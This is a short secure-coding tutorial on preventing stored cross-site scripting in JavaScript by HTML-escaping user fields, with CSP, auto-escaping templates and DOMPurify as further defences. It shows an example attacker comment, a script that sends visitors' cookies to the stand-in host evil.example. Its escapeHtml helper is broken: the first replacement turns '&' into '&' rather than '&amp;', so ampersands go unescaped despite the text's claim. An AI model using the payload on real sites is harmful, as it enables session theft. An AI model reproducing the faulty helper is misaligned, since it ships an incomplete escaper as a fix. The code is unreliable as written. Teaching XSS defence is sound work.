How to Fix Stored XSS With HTML Escaping

Why stored XSS is dangerous

A stored (or persistent) XSS vulnerability differs from reflected XSS because the payload is saved - in a database, a file, a cache - and replayed to every user who views the page. One malicious comment can silently steal session cookies or perform actions on behalf of every visitor:

<!-- attacker submits this as a comment -->
<script>document.location='https://evil.example/?c='+document.cookie</script>

When the server concatenates that string directly into the HTML response, the browser parses it as code, not text, and runs it.

The root cause: unescaped string interpolation

Hand-rolled HTML generation is the usual culprit. A template literal like this is unsafe:

// UNSAFE - author and text are injected verbatim
function renderComment(c) {
  return `<div class="comment">
    <strong>${c.author}</strong>
    <p>${c.text}</p>
  </div>`;
}

Add an escapeHtml helper

Replace the five characters that have special meaning in HTML with their entity equivalents before interpolating any user-supplied value:

function escapeHtml(s) {
  return String(s)
    .replace(/&/g, '&')   // must be first
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

function renderComment(c) {
  return `<div class="comment">
    <strong>${escapeHtml(c.author)}</strong>
    <p>${escapeHtml(c.text)}</p>
  </div>`;
}

The & replacement must come first - otherwise a later pass would double-escape entities already produced by an earlier replacement.

Which fields need escaping

Escape every field that originates from user input: author, text, form parameters, query strings, URL fragments. System-generated fields like a server-assigned date or a database-generated id are safe to leave as-is.

After the fix, the payload renders as literal visible text:

<script>document.location='...'</script>

The browser shows it on screen instead of executing it.

Defense-in-depth

Escaping is the baseline mitigation. Layer it with:

• Content Security Policy (CSP) - a script-src 'self' header prevents inline scripts from running even if escaping is missed somewhere.
• Use a templating engine - React, Vue, Jinja2 (autoescape=True), Handlebars, and most modern engines escape by default. You have to deliberately opt out (e.g. dangerouslySetInnerHTML, |safe) to render raw HTML.
• Sanitize rich text separately - if users can submit formatted text, use a library like DOMPurify to allow a safe subset of HTML tags rather than escaping everything.